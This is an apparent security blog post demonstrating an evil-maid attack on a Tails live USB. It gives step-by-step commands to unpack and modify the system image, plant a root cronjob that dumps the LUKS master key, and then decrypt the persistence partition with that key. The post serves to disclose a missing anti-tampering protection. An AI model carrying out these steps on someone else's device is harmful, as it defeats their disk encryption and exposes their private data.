How to get a Tails Linux LUKS master key

I have recenty set up a Tails live operating system with a LUKS-encrypted data persistence partition, and used it for a while, noticing that Tails insists on a FAT filesytem for all its system files, kernel, initrd and filesystem.squashfs.

Actually, I was thus very curious about how developers managed to protect their security-focused operating system from system files’ modifications – FAT means “easily writeable” to me.

The partitioning structure of my USB key follows:

Disk /dev/sdc: 59.8 GiB, 64160400896 bytes, 125313283 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: A78A67AD-7B00-4496-97CD-AA144BEBD932

Device Start End Sectors Size Type
/dev/sdc1 2048 16779263 16777216 8G EFI System
/dev/sdc2 16783360 125313249 108529890 51.8G Linux filesystem

Tails partitioning scheme

Ok. My question is: if I lend my USB key containing Tails to an evil Penguin, am I sure to use it again afterwards?
And anoter more important one: if there are some data within the persistence partition, are they safe in the aforementioned case? Is my LUKS key safe?

Tails website reports:

The encrypted persistent storage is not hidden. An attacker in possession of the USB stick can know whether it has an encrypted persistent storage. Take into consideration that you can be forced or tricked to give out its passphrase.

Actually there is no need for an evil Penguin to force or trick me to tell him my LUKS passphrase, he only needs to ask me to use my USB key for just a short while.

An evil Penguin’s idea is to inject a script into the Tails filesystem which is able to reveal the LUKS master key – and eventually send it by the network.
Of course, an attacker could simply modify the filesystem in a smarter and easier way, but I please to demonstrate that the previously quoted Tails website’s statement is incorrect ;)

 

How to

In the following scenario the evil Penguin will just set-up end inject a cronjob to save the LUKS master key into /tmp. And of course it’s trivial.

Step 1.
EP: “My Dear Friend, I’d need your Tails for just a while”.

Step 2.
DF: “Fine”.

Step 3.
The evil Penguin injects the cronjob.

Firstly he locates the device file of the plugged-in Tails USB key:

fdisk -l

/dev/sdc1 2048 16779263 16777216 8G EFI System
/dev/sdc2 16783360 125313249 108529890 51.8G Linux filesystem

Then he copies the live filesystem.squashfs into his PC’s filesystem and “opens” it:

mount /dev/sdc1 /mnt/
mkdir /tmp/chroot
cd /tmp/chroot/
cp /mnt/live/filesystem.squashfs /tmp/
unsquashfs /tmp/filesystem.squashfs
cd squashfs-root/

Then he chroots inside the uncompressed filesystem – this way one could also install some packages inside (not done here):

mount -o bind /proc /tmp/chroot/squashfs-root/proc
mount -o bind /dev /tmp/chroot/squashfs-root/dev
mount -o bind /dev/pts /tmp/chroot/squashfs-root/dev/pts
mount -o bind /sys /tmp/chroot/squashfs-root/sys
chroot .

It’s now the turn of injecting the cronjob:

echo "* * * * * /sbin/dmsetup table --target crypt --showkey /dev/mapper/TailsData_unlocked >/tmp/luks.master" >/var/spool/cron/crontabs/root
chown 0:crontab /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root

The dmsetup line is able to read the LUKS master key once the LUKS partition is unlocked.
TailsData_unlocked is the name of the Tails device file for the unlocked LUKS partition.

The evil Penguin now cleanly exists from the chroot:

exit
umount /tmp/chroot/squashfs-root/proc
umount /tmp/chroot/squashfs-root/dev/pts
umount /tmp/chroot/squashfs-root/dev
umount /tmp/chroot/squashfs-root/sys

Then he rebuilds the squashfs image:

cd ..
mksquashfs squashfs-root/ filesystem.squashfs -comp xz

Because the task is quite time-consuming, the evil Penguin now takes a coffee – or puddle water if he lives outside of Italy – then he rewrites the USB key’s filesystem.squashfs file:

cp -f filesystem.squashfs /mnt/live/filesystem.squashfs

umount /mnt
sync

Step 4.
EP: “Ok done it. thanks”.

Step 5.
DF. Run, unlock the encrypted persistence storage, boom.

The /tmp/luks.master file now dumps the key:

0 108525794 crypt aes-xts-plain64 a1dbda7f9da88f9783bc52ef28755951cebc72ab6e391f2bd7fac82d7e36dc5e 0 8:18 4096

Whith the knowledge of the master key, one can then always and easily open the LUKS-encrypted persistence partition of the USB key:

echo -n "a1dbda7f9da88f9783bc52ef28755951cebc72ab6e391f2bd7fac82d7e36dc5e" >/tmp/master.key
xxd -r -p /tmp/master.key /tmp/masterkey.bin
cryptsetup --master-key-file masterkey.bin luksOpen /dev/sdc2 enc
mount /dev/mapper/enc /mnt/

 

Conclusion

At the end of the day, there is no anti-tampering mechanism in Tails that prevents system files from being modified by an evil Penguin who phisically owns the USB key.
Note however that there is still no known way to crack the Tails encrypted persistence partition without the (indirect) intervention of the legitimate user.